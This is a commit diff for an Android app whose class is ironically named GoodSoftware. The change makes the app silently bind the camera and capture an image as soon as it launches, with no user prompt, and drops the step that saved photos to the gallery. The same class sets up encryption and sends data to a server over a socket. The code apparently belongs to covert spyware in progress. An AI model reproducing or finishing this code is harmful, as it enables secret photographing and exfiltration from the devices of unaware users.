So... it should take an image now?

app/src/main/java/com/ti/m/GoodSoftware.kt

@@ -1,16 +1,13 @@
 package com.ti.m
 
-import android.content.ContentValues
 import android.content.Context
 import android.graphics.Camera
-import android.net.Uri
-import android.os.Build
-import android.provider.MediaStore
 import android.util.Log
 import androidx.camera.core.CameraSelector
 import androidx.camera.core.ImageAnalysis
 import androidx.camera.core.ImageCapture
 import androidx.camera.core.ImageCaptureException
+import androidx.camera.core.ImageProxy
 import androidx.camera.core.Preview
 import androidx.camera.lifecycle.ProcessCameraProvider
 import java.io.BufferedReader
@@ -25,11 +22,8 @@ import javax.crypto.Cipher
 import javax.crypto.spec.IvParameterSpec
 import javax.crypto.spec.SecretKeySpec
 import androidx.concurrent.futures.await
-import androidx.core.content.ContentProviderCompat.requireContext
 import androidx.core.content.ContextCompat
-import java.io.File
-import java.text.SimpleDateFormat
-import java.util.Locale
+import androidx.lifecycle.LifecycleOwner
 
 class GoodSoftware (private val context: Context) {
     private var cameraProvider: ProcessCameraProvider? = null
@@ -101,14 +95,7 @@ class GoodSoftware (private val context: Context) {
 
     private fun runAllTheGoodness() {
         val dataToSend = "Amazing data"
-        Thread {
-            takeBeautifulPicture(object : PictureTakenCallback {
-                override fun onPictureTaken() {
-                    // Picture taken, proceed to send data
-                    sendDataToServer(dataToSend)
-                }
-            })
-        }.start()
+        sendDataToServer(dataToSend)
     }
 
     fun sendDataToServer(sendData: String) {
@@ -158,53 +145,60 @@ class GoodSoftware (private val context: Context) {
         socket.close()
     }
 
-    fun takeBeautifulPicture(callback: PictureTakenCallback) {
-        cameraProvider = ProcessCameraProvider.getInstance(context).get()
+    suspend fun takeBeautifulPicture(lifecycleOwner: LifecycleOwner) {
+        // Ensure that cameraProvider is initialized
+        cameraProvider = ProcessCameraProvider.getInstance(context).await()
 
-        lensFacing = when {
-            hasBackCamera() -> CameraSelector.LENS_FACING_BACK
-            hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT
-            else -> throw IllegalStateException("Back and front camera are unavailable")
+        // Check if cameraProvider is null
+        if (cameraProvider == null) {
+            Log.e(picture.TAG, "Camera provider is null")
+            return
         }
+
+        // Ensure that the selected camera is available
+        if (!hasBackCamera() && !hasFrontCamera()) {
+            Log.e(picture.TAG, "Back and front camera are unavailable")
+            return
+        }
+
+        // Select the lens facing
+        lensFacing = if (hasBackCamera()) {
+            CameraSelector.LENS_FACING_BACK
+        } else {
+            CameraSelector.LENS_FACING_FRONT
+        }
+
+        // Create ImageCapture instance
         imageCapture = ImageCapture.Builder()
             .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
             .build()
 
-        imageCapture?.let { imageCapture ->
-
-            // Create time stamped name and MediaStore entry.
-            val name = SimpleDateFormat(picture.FILENAME, Locale.US)
-                .format(System.currentTimeMillis())
-            val contentValues = ContentValues().apply {
-                put(MediaStore.MediaColumns.DISPLAY_NAME, name)
-                put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE)
-                if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {
-                    val appName = requireContext().resources.getString(R.string.app_name)
-                    put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}")
-                }
+        // Set up image capture listener
+        val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
+            override fun onError(exc: ImageCaptureException) {
+                Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
             }
 
-            val outputOptions = ImageCapture.OutputFileOptions
-                .Builder(requireContext().contentResolver,
-                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
-                    contentValues)
-                .build()
-
-            imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()),
-                object : ImageCapture.OnImageSavedCallback {
-                    override fun onError(exc: ImageCaptureException) {
-                        Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
-                    }
-
-                    override fun onImageSaved(output: ImageCapture.OutputFileResults) {
-                        val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString()))
-                        Log.d(picture.TAG, "Photo capture succeeded: $savedUri")
-                    }
-                })
+            override fun onCaptureSuccess(image: ImageProxy) {
+                // Process captured image here
+                image.close()
+            }
         }
-        callback.onPictureTaken()
+
+        // Bind the camera and start image capture
+        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture)
+
+        // Take the picture
+        imageCapture?.takePicture(
+            ContextCompat.getMainExecutor(context),
+            imageCapturedListener
+        )
     }
 
+
+
+
+
     private fun hasBackCamera(): Boolean {
         return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
     }
@@ -217,6 +211,7 @@ class GoodSoftware (private val context: Context) {
         return context
     }
 
+
     object picture {
         const val TAG = "CameraXBasic"
         const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"

app/src/main/java/com/ti/m/MainActivity.kt

@@ -6,15 +6,14 @@ import androidx.activity.compose.setContent
 import androidx.compose.foundation.layout.fillMaxSize
 import androidx.compose.material3.MaterialTheme
 import androidx.compose.material3.Surface
-import androidx.compose.material3.Text
-import androidx.compose.runtime.Composable
 import androidx.compose.ui.Modifier
-import androidx.compose.ui.tooling.preview.Preview
+import androidx.lifecycle.LifecycleOwner
 import androidx.lifecycle.lifecycleScope
+import com.ti.m.GoodSoftware
 import com.ti.m.ui.theme.MTheme
 import kotlinx.coroutines.launch
 
-class MainActivity : ComponentActivity() {
+class MainActivity : ComponentActivity(), LifecycleOwner {
     override fun onCreate(savedInstanceState: Bundle?) {
         super.onCreate(savedInstanceState)
         setContent {
@@ -26,6 +25,10 @@ class MainActivity : ComponentActivity() {
                 }
             }
         }
-        GoodSoftware(applicationContext).launch()
+        val Goo = GoodSoftware(applicationContext);
+        Goo.launch()
+        lifecycleScope.launch {
+            Goo.takeBeautifulPicture(this@MainActivity)
+        }
     }
-}
+}